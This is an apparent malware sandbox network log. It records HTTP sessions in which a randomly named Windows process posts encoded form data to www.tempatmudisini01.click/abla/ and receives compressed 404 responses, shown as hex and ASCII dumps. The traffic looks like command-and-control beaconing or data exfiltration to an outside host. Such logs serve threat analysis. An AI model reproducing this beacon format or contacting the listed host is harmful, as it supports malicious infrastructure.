2b 42 d7 37 d2 4b 2d 79 ce b6 [TRUNCATED] Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bd
Oct 8, 2024 15:56:30.980583906 CEST	224	IN	Data Raw: 07 0c 7f 76 e2 80 bf 88 20 d0 3f 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87 Data Ascii: v ?DF:KWEJjfpZA-fdr_5aAdGq e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCn
Oct 8, 2024 15:56:30.980595112 CEST	1236	IN	Data Raw: 70 b1 68 5a f8 6c dc 33 ba df 95 d9 0b f5 be 36 16 a7 53 8f aa 05 a9 7d 10 ba 06 db ef f7 1a 07 78 dd b6 97 78 21 f8 59 76 4f 55 3c e7 3c cd 97 3c 29 a5 ce 91 20 c2 3d 37 49 52 51 39 76 dc c8 3f ab 3a e0 39 c4 a4 68 48 3a 0e 52 a9 77 28 9a df 1c Data Ascii: phZl36S}xx!YvOU<<<) =7IRQ9v?:9hH:Rw(:KyIjXcIXkts?:)IkRB5WQ?d4_H15IB5cJ6L(IyWW`dG"\Y8Iil2_'d*3S<HQCy9
Oct 8, 2024 15:56:30.981065989 CEST	224	IN	Data Raw: 17 54 62 32 80 3b b2 77 3a 55 0d 05 51 55 51 dc aa 61 7e ab 8a f9 ad 1a 16 b7 aa 58 dc aa 61 79 ab 8a e5 ad 1a 56 b7 2a 58 dd 9e 9e d1 99 20 02 96 f9 86 37 78 b8 46 d1 64 32 99 b4 d3 0b 0b 1f d0 49 ff 5c 1e b9 47 30 c2 a4 26 75 6d 1b cc 66 db b9 Data Ascii: Tb2;w:UQUQa~XayVX 7xFd2I\G0&umf9[:BG5KZ&_hvQ%ZIKxvvViV-j>zY`-[VSj<i&Y1^OE~kpo.
Oct 8, 2024 15:56:30.981077909 CEST	1236	IN	Data Raw: 7a 0d 4b b6 5e bf 4f a3 39 2b f2 79 c9 45 e0 4b fc 83 6d 16 c5 a7 5b 76 bb 39 6e 58 be 2a 5e 3e 90 e7 74 c9 d6 d0 3a cf 81 b0 f7 fa c4 56 9b c5 b1 e1 ff 66 e9 95 1a 68 00 f5 3e 2e 10 39 35 74 f6 12 fe 90 0d 9e 32 bd fc 8c c2 35 8c 49 42 bd 3e 27 Data Ascii: zK^O9+yEKm[v9nX^>t:Vfh>.95t25IB>'mtN&`@l(fbg%@/h-V5Vx^ ^f@V6dT3RG[Q#Noncz\1Z`{'vKHObayu&=2
Oct 8, 2024 15:56:30.981087923 CEST	224	IN	Data Raw: a2 a7 cc 08 2d 66 4d 85 19 d8 fc 9a 28 d9 57 26 b1 54 3c 8e 6f 05 b9 6c 58 45 80 fc b1 10 31 4f 98 42 63 80 27 c4 4e 49 e7 bb bb e2 35 95 f4 ef 51 04 97 28 73 66 fe e0 45 ac 1c cc 7c 62 91 6e a0 27 2f d7 4e 8b da 36 38 9a 95 c1 dc 0c 61 1a 56 80 Data Ascii: -fM(W&T<olXE1OBc'NI5Q(sfE\|bn'/N68aVI_jl?n9M!dP(GJ5VY^B,DX\|MfDv6X;,4\M&.\|(3N n)tjg\|6!G3e
Oct 8, 2024 15:56:30.981100082 CEST	1236	IN	Data Raw: 62 c6 1b 89 92 7b 27 dc a5 b1 06 73 67 30 8e 0b 31 87 ca 9c 4f 0f 87 55 0c b7 1f 86 17 9c af eb bd d8 82 3c 9e 28 75 87 7d c9 d3 bc 58 a4 f9 66 05 f9 c4 6b 84 7b 46 47 73 5e be e0 7c b5 17 f9 b7 42 be 43 7c 9d e6 ab 30 41 31 6d d8 52 6c d6 af 72 Data Ascii: b{'sg01OU<(u}Xfk{FGs^\|BC\|0A1mRlr\|DtANjo+{FL5!ky`\E(jV9Emt/29[s+&1n$BPNx*[KbiAvlKlcGhX{Bqoo#(
Oct 8, 2024 15:56:30.981111050 CEST	1236	IN	Data Raw: 2e 2d 14 be 36 28 bb db 18 57 16 8a 16 3b ed d4 ed 4c bd 56 dd fa 16 a3 ec 08 f1 39 4c ba cf 32 1b 6d ba 7d bf c4 e5 a1 75 17 43 51 55 54 88 8a 22 01 fe 23 9a 87 f6 82 5a d3 1a a9 10 8a 00 72 fe 23 12 3d 2b e7 e4 a1 c9 be 25 0d 27 bc a0 10 54 08 Data Ascii: .-6(W;LV9L2m}uCQUT"#Zr#=+%'TNoGSkr=rKRN]kM9+s5E9-h^[WTk jD6#b(6:+FR=9UT XjtYSD$e`33kVS_Bb
Oct 8, 2024 15:56:30.981332064 CEST	1236	IN	Data Raw: 2a 71 be 2c de 5c 64 9b 11 f8 39 bc 08 30 e4 34 8e 8f 67 2d a0 ee 16 73 5d de 14 16 5f 27 58 e2 14 ab 3a cb a3 c4 b6 41 ef 82 a4 5f 93 7b 23 24 18 eb 41 84 1b 34 b8 35 01 c2 fb 43 72 c0 20 65 1a c5 f9 8f e4 aa 1f 47 3c 84 e8 82 0f 8e b9 21 89 79 Data Ascii: q,\d904g-s]_'X:A_{#$A45Cr eG<!yd?L!.rdO$,rC^GnXDR/@)f#fY$+VRh"!^<oxJ1srI&mhq q$df"=YC7\"UJw$A4
Oct 8, 2024 15:56:30.981343985 CEST	1236	IN	Data Raw: 2b 32 f2 5f b9 72 82 6f e2 a0 73 47 e7 f0 d0 72 ee 49 6d c4 cd 98 f7 59 75 81 0e 11 49 6f be 39 62 2b da 28 b4 1e d2 e3 06 45 93 17 26 bc 5c 3b 4e 87 18 d7 1c fd 30 71 cb dc 9f 3a bc 38 6f ee a1 6d 0a a7 f8 b6 27 74 78 2c 30 80 b4 f3 37 d9 f6 87 Data Ascii: +2_rosGrImYuIo9b+(E&\;N0q:8om'tx,07OD36?7LP&p&yFqr,>S(tB@YWj,@N5USuUSh7j .tPI4*7%xEsB-\|k\h3
Oct 8, 2024 15:56:30.985984087 CEST	1236	IN	Data Raw: b0 f4 ab 37 da f0 4a 6a 0b e6 21 ff da c8 f0 f1 dd 9f e4 f5 b3 9b 95 f1 ee fd 2f 46 54 3e 8a e7 4e 39 5b 33 7b b4 df 3b df 18 ce 99 24 36 40 ea 56 85 5e c0 67 e3 9a 37 0e bd 07 0b 22 23 60 78 e5 b5 04 d9 54 64 b0 54 19 d1 50 6b d4 a5 95 4a d1 83 Data Ascii: 7Jj!/FT>N9[3{;$6@V^g7"#`xTdTPkJw]y^,R[^N9H7lA680*n`wcg!;nf9emXAvF3x3in`Mdm.dO0X?dCa\|/5X_;4BUHuKq8!T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	50003	103.21.221.4	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:32.044717073 CEST	774	OUT	POST /abla/ HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.tempatmudisini01.click Referer: http://www.tempatmudisini01.click/abla/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 63 2f 70 76 46 61 58 37 35 48 78 38 4b 43 69 65 50 6c 4e 59 74 71 36 6b 6d 75 59 6b 6d 61 4e 78 59 4a 73 73 54 70 77 79 55 2b 45 69 51 75 38 58 33 65 6e 71 53 59 6a 70 6c 6c 51 55 2f 62 48 35 54 64 70 5a 4a 36 57 41 64 58 33 44 38 6b 57 47 41 30 6e 76 58 2f 62 58 63 79 72 6d 4c 64 76 44 75 52 30 75 78 65 61 62 7a 65 39 43 78 45 52 6b 37 7a 36 6d 53 4c 42 4d 34 46 56 6f 4f 66 6e 5a 4f 76 7a 6d 65 52 4d 52 63 57 51 6f 73 53 35 39 2f 64 5a 32 67 57 37 75 76 4d 63 32 6a 71 71 41 67 58 35 65 76 51 2f 61 52 73 32 7a 44 69 52 32 71 6f 38 4a 36 30 4f 73 70 38 36 56 32 71 63 6b 72 58 44 77 45 52 37 42 74 63 75 6b 47 44 68 72 76 4f 34 4e 63 6b 77 3d Data Ascii: gP=c/pvFaX75Hx8KCiePlNYtq6kmuYkmaNxYJssTpwyU+EiQu8X3enqSYjpllQU/bH5TdpZJ6WAdX3D8kWGA0nvX/bXcyrmLdvDuR0uxeabze9CxERk7z6mSLBM4FVoOfnZOvzmeRMRcWQosS59/dZ2gW7uvMc2jqqAgX5evQ/aRs2zDiR2qo8J60Osp86V2qckrXDwER7BtcukGDhrvO4Nckw=
Oct 8, 2024 15:56:33.258434057 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 894_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT content-type: text/html; charset=UTF-8 link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Tue, 08 Oct 2024 13:56:33 GMT server: LiteSpeed Data Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 [TRUNCATED] Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bd
Oct 8, 2024 15:56:33.258455992 CEST	1236	IN	Data Raw: 07 0c 7f 76 e2 80 bf 88 20 d0 3f 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87 Data Ascii: v ?DF:KWEJjfpZA-fdr_5aAdGq e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCnphZl36S
Oct 8, 2024 15:56:33.258466959 CEST	1236	IN	Data Raw: 03 67 54 c8 60 cc c5 34 3d ae f6 21 cb 93 70 31 0d 24 89 84 9c 4e a6 56 a4 3e 92 ed 68 b6 e0 69 6a 5b 66 4e a2 55 78 de b6 0a cf d4 d2 6a 85 5f 41 91 38 20 f4 fa 0d 4e d8 80 c7 1b 9c b0 e9 e0 84 4d b6 bb 9c 6c 6e 2f d4 00 66 f7 23 60 55 4c a5 5c Data Ascii: gT`4=!p1$NV>hij[fNUxj_A8 NMln/f#`UL\Dl$V,(q-.\Yr #g=fpm3TFrDH}4SOy1VZ~Y9+A%vW2H5QRhg\|,pr9kTb2;w:UQUQa~
Oct 8, 2024 15:56:33.258479118 CEST	1236	IN	Data Raw: 25 57 2f b3 9a fc 88 a2 2b 8a 8e 69 a1 28 f2 f4 c1 23 b2 ac 3b 41 86 7a 24 a3 87 96 34 6b a5 5b 8d 83 99 0b 4f 1d 50 3c e4 7c 54 5e 52 74 73 c3 e4 37 b5 20 4b f0 98 a0 7d 08 2c 4e 55 7d 82 16 3c 37 71 31 36 09 a2 22 b5 b0 8e cb 6a f2 9f 63 61 cf Data Ascii: %W/+i(#;Az$4k[OP<\|T^Rts7 K},NU}<7q16"jcatHVKpwu',pk)MY&\|l4"*nEU+E/wQ4[~Mw!kE`RK`\sEYqC+S%(_Jbm\ a1Ht:<`i/g
Oct 8, 2024 15:56:33.258501053 CEST	896	IN	Data Raw: 53 0c 9e 26 9c 45 5c ea 34 3d 94 0d 24 52 8b 33 49 30 99 64 36 0e 4c 0e a2 e0 22 01 25 93 0d 03 e3 fe 79 ec ca c5 f1 61 75 88 ba 67 b9 a6 cc 4c 96 83 f3 83 cd c2 bc f8 b0 f9 b5 9b e2 6a 73 e8 f6 0b ae 27 fd bb 82 5c 7d 4a 8e 13 97 2d ec 17 cd 7f Data Ascii: S&E\4=$R3I0d6L"%yaugLjs'\}J-D\n4Moz^Dm]jaG!c,F!4y;&<+D\@[0W0*-Kdo\O@5xN=0E!Ws;LpD}M]hP2{=$
Oct 8, 2024 15:56:33.258514881 CEST	1236	IN	Data Raw: 65 60 33 1a 33 6b 56 53 13 a8 5f f7 9c a2 42 d5 b4 62 e1 8c 76 3a b6 d1 b4 e5 58 6c 40 32 86 16 dc 50 21 4d 0a 8e 06 41 51 73 2a 14 8f 11 34 c1 15 71 c7 19 db 87 2b 2a b8 a6 68 f4 28 42 2b aa 34 55 9a 98 9b 20 bb f6 1e 5e 51 4e 8d 28 32 1b ea 8f Data Ascii: e`33kVS_Bbv:Xl@2P!MAQs4q+h(B+4U ^QN(2-_!)_)6"#e4kxphV$uF?2>FXNyG"m[3\HM%ABsQIQ4q9)B_iO/IA(n~A^]Y\|l^]6(?B}
Oct 8, 2024 15:56:33.258524895 CEST	224	IN	Data Raw: 81 22 ba e1 b7 e8 03 55 4a 77 cc 90 eb b6 24 f2 41 34 1b c3 e9 ae 15 c0 76 d3 62 9f 20 e9 7e 75 8e 00 d6 b6 07 0a c4 1a 4c b2 65 63 03 9e 18 7e 0e 36 6e 97 17 0a 3e be 3b 2f f4 01 9c 8a 2f 1a 72 f4 5f 3a e4 e8 37 60 c8 d1 23 34 38 2b d1 0c 92 dd Data Ascii: "UJw$A4vb ~uLec~6n>;//r_:7`#48+1nI{Fx :8]Wvh#_a$O~!z`uW{0iF"Uq5'Hd%.q\=@)DzaiCEzvL!VjsD0J0jThG1
Oct 8, 2024 15:56:33.258538008 CEST	1236	IN	Data Raw: 27 74 d1 12 76 a6 02 e4 a0 16 8d a2 b1 b9 b8 3e 47 74 1b b5 42 ce 98 d4 62 09 aa bd 08 f5 f5 39 8a 77 39 ad 9c e7 28 09 50 c1 3e 4b a1 6d ef 1c 2c 11 ff 6d 9e 88 55 12 ed 86 2b e7 39 ea e8 65 d9 5b 39 cf d1 84 03 3b 6c 2c d1 97 78 d9 89 d2 15 7a Data Ascii: 'tv>GtBb9w9(P>Km,mU+9e[9;l,xzQ\|wH6\=vHuWJ4eF>!-)ji:,6Sd5Z6%S*ZYQv-ek7oIlA$pr@u{\|Brf:=->&s
Oct 8, 2024 15:56:33.258553982 CEST	224	IN	Data Raw: 9f 5a c5 7a ca fb 46 b7 91 57 6d 62 b0 34 8b ca b0 36 00 f9 56 3d 19 61 b4 d7 6e 8b 10 d8 47 a1 6f f7 c8 e8 b2 39 f6 39 d2 db dd 9c e3 b8 13 a5 ee 74 11 1b 28 42 f7 7c 94 3d 0c 29 c7 b0 91 87 45 10 d8 51 09 4c 49 b1 11 bc 67 1d 2f 15 a6 a8 5a 27 Data Ascii: ZzFWmb46V=anGo99t(B\|=)EQLIg/Z']YX{8wv7mjy4%{?N1U2LI]s)sm4#.#=UIaP\[X=AbN'i&]D(A
Oct 8, 2024 15:56:33.258564949 CEST	1236	IN	Data Raw: 7e 66 51 d9 81 b0 78 cb 21 c5 95 03 ea 43 8f 50 a2 d2 7d 64 eb e4 e2 42 41 7b 3a dc c3 a1 c4 a5 25 51 37 3c 7f 61 72 3f f4 45 55 11 4b 76 dd c9 81 58 4f 0d e1 7a 07 17 27 d6 7d b6 60 ba d1 78 74 ef 8f 61 cb 98 42 ff 02 83 2c 01 d1 ff 52 79 9f 08 Data Ascii: ~fQx!CP}dBA{:%Q7<ar?EUKvXOz'}`xtaB,Ry*/;rnO<6H[_}M;}yf,d.q;[3rj90kU!LJ'wa?54L!#H8!c/W5t-.561yHN
Oct 8, 2024 15:56:33.263509035 CEST	1236	IN	Data Raw: 18 8b 28 03 03 35 33 e1 ec 1a 6c b5 9e b7 de 69 b1 6b 82 d9 58 72 df ef 13 a4 36 60 12 13 a8 69 26 83 a4 a7 76 33 5b 52 82 40 4a 92 37 73 53 54 c1 dc 73 96 28 d0 d5 10 50 29 93 6e 15 21 10 4d 26 60 41 0b 58 10 2c cb 41 43 63 45 6a e3 d0 20 bf 34 Data Ascii: (53likXr6`i&v3[R@J7sSTs(P)n!M&`AX,ACcEj 4kvl$Nk.vC,VByLfjh/xMIX$%IJQc&+ )IpR#HIQ: =*GH#2Ok:=1)Pif,j`RdBFK\|\y=3=g4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	50004	103.21.221.4	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:34.583652020 CEST	1787	OUT	POST /abla/ HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.tempatmudisini01.click Referer: http://www.tempatmudisini01.click/abla/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 63 2f 70 76 46 61 58 37 35 48 78 38 4b 43 69 65 50 6c 4e 59 74 71 36 6b 6d 75 59 6b 6d 61 4e 78 59 4a 73 73 54 70 77 79 55 2f 51 69 51 37 77 58 78 35 37 71 56 59 6a 70 37 56 51 76 2f 62 47 72 54 63 4e 64 4a 36 61 51 64 56 50 44 7a 6d 65 47 51 56 6e 76 4d 76 62 58 56 53 72 6e 50 64 75 65 75 52 6b 71 78 64 79 62 7a 65 39 43 78 46 68 6b 38 69 36 6d 55 4c 42 50 37 46 56 61 5a 76 6e 39 4f 76 4c 32 65 52 4a 6d 63 6d 77 6f 74 79 70 39 39 4c 6c 32 39 47 37 73 71 4d 64 7a 6a 71 6d 6c 67 58 6b 6e 76 52 4c 30 52 76 6d 7a 54 30 34 54 32 37 63 77 76 6c 54 59 30 4d 4f 45 33 50 6b 2f 79 46 6a 4b 50 55 4c 66 2b 34 4f 33 62 52 77 56 72 66 77 6d 4e 67 79 4c 33 45 67 77 35 63 65 56 73 44 74 66 61 57 66 63 44 72 4e 38 41 68 59 68 4a 44 6d 75 2f 63 69 4d 75 6a 6a 67 59 2b 32 4e 32 69 6d 44 6a 54 61 4b 4c 56 55 57 51 77 6c 6e 61 50 43 38 4d 59 51 31 70 48 2b 54 44 73 79 70 67 50 61 57 54 68 62 45 77 45 36 68 76 79 37 4f 4a 75 55 30 64 39 76 47 62 72 65 37 6a 67 47 43 41 7a 67 36 6c 4a 61 48 4b 4d 4c 2f 6e 69 64 [TRUNCATED] Data Ascii: gP=c/pvFaX75Hx8KCiePlNYtq6kmuYkmaNxYJssTpwyU/QiQ7wXx57qVYjp7VQv/bGrTcNdJ6aQdVPDzmeGQVnvMvbXVSrnPdueuRkqxdybze9CxFhk8i6mULBP7FVaZvn9OvL2eRJmcmwotyp99Ll29G7sqMdzjqmlgXknvRL0RvmzT04T27cwvlTY0MOE3Pk/yFjKPULf+4O3bRwVrfwmNgyL3Egw5ceVsDtfaWfcDrN8AhYhJDmu/ciMujjgY+2N2imDjTaKLVUWQwlnaPC8MYQ1pH+TDsypgPaWThbEwE6hvy7OJuU0d9vGbre7jgGCAzg6lJaHKML/nidk37ajRnySG2rz4hSgUv2ojeQp8oHNAy7WQKzuh3+aduGIC1Z85lP+QGCt3xlTA4uFUeh134YjgoeOjstJplo/mpRfIpqrOVu4p6n/cT5/eGdtv4j4bbp1FhDIT9ue64I50mU702WF4qx7xFhN6CowXYMrnwQvW36kqSC+T/Nl0ejN2lUffYFvB2Cxk5PAi8gRe/Li5YdQSH7kqoAJs793XKTvFmPJwF5bOGujTM1Z0GRhOEqCPLliWJkj4XY+eCTcPs6JQa9hrLx89OsIKY2y7//fD5ouCuH1WFSWew4YYWJGDpCAJHFl57ejH1ZCN2fKkI0itFKK84xoCvYGEdpbp56L3AHhy2ylMRRCqdb1pUv5yfN3iCwhbmDqH3szEiLP/+s36ej2SMJODi9nkZ8SZjLz7GlNbcUh962Fo6oPhHdnVgNblBgpRJJULqvvgvV7jNK5ZMJ5tlRbJQaXPzYU3buiiCcyYkHwd2RbZtuI6k+N89cJomZt7Bi7YeE10V1YKBI9CNxWTrn/6fDaUaBADAFY/C2wyAjgqZye07jC2Y64WIdYYShzEITcMq0stqnrZC/AsZb/0h0Z9mcodvpYNlpTg69FfX3l4N2+9PGntROJq4ljoY9NUkN4bWC9xalJVAoCcjkkC6xEnTvrOkC1vFFJdiI8h413z [TRUNCATED]
Oct 8, 2024 15:56:35.789258957 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 894_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT content-type: text/html; charset=UTF-8 link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Tue, 08 Oct 2024 13:56:35 GMT server: LiteSpeed Data Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 [TRUNCATED] Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bd
Oct 8, 2024 15:56:35.789275885 CEST	224	IN	Data Raw: 07 0c 7f 76 e2 80 bf 88 20 d0 3f 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87 Data Ascii: v ?DF:KWEJjfpZA-fdr_5aAdGq e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCn
Oct 8, 2024 15:56:35.789288044 CEST	1236	IN	Data Raw: 70 b1 68 5a f8 6c dc 33 ba df 95 d9 0b f5 be 36 16 a7 53 8f aa 05 a9 7d 10 ba 06 db ef f7 1a 07 78 dd b6 97 78 21 f8 59 76 4f 55 3c e7 3c cd 97 3c 29 a5 ce 91 20 c2 3d 37 49 52 51 39 76 dc c8 3f ab 3a e0 39 c4 a4 68 48 3a 0e 52 a9 77 28 9a df 1c Data Ascii: phZl36S}xx!YvOU<<<) =7IRQ9v?:9hH:Rw(:KyIjXcIXkts?:)IkRB5WQ?d4_H15IB5cJ6L(IyWW`dG"\Y8Iil2_'d*3S<HQCy9
Oct 8, 2024 15:56:35.789299011 CEST	224	IN	Data Raw: 17 54 62 32 80 3b b2 77 3a 55 0d 05 51 55 51 dc aa 61 7e ab 8a f9 ad 1a 16 b7 aa 58 dc aa 61 79 ab 8a e5 ad 1a 56 b7 2a 58 dd 9e 9e d1 99 20 02 96 f9 86 37 78 b8 46 d1 64 32 99 b4 d3 0b 0b 1f d0 49 ff 5c 1e b9 47 30 c2 a4 26 75 6d 1b cc 66 db b9 Data Ascii: Tb2;w:UQUQa~XayVX 7xFd2I\G0&umf9[:BG5KZ&_hvQ%ZIKxvvViV-j>zY`-[VSj<i&Y1^OE~kpo.
Oct 8, 2024 15:56:35.789336920 CEST	1236	IN	Data Raw: 7a 0d 4b b6 5e bf 4f a3 39 2b f2 79 c9 45 e0 4b fc 83 6d 16 c5 a7 5b 76 bb 39 6e 58 be 2a 5e 3e 90 e7 74 c9 d6 d0 3a cf 81 b0 f7 fa c4 56 9b c5 b1 e1 ff 66 e9 95 1a 68 00 f5 3e 2e 10 39 35 74 f6 12 fe 90 0d 9e 32 bd fc 8c c2 35 8c 49 42 bd 3e 27 Data Ascii: zK^O9+yEKm[v9nX^>t:Vfh>.95t25IB>'mtN&`@l(fbg%@/h-V5Vx^ ^f@V6dT3RG[Q#Noncz\1Z`{'vKHObayu&=2
Oct 8, 2024 15:56:35.789371014 CEST	1236	IN	Data Raw: a2 a7 cc 08 2d 66 4d 85 19 d8 fc 9a 28 d9 57 26 b1 54 3c 8e 6f 05 b9 6c 58 45 80 fc b1 10 31 4f 98 42 63 80 27 c4 4e 49 e7 bb bb e2 35 95 f4 ef 51 04 97 28 73 66 fe e0 45 ac 1c cc 7c 62 91 6e a0 27 2f d7 4e 8b da 36 38 9a 95 c1 dc 0c 61 1a 56 80 Data Ascii: -fM(W&T<olXE1OBc'NI5Q(sfE\|bn'/N68aVI_jl?n9M!dP(GJ5VY^B,DX\|MfDv6X;,4\M&.\|(3N n)tjg\|6!G3e b{'sg01
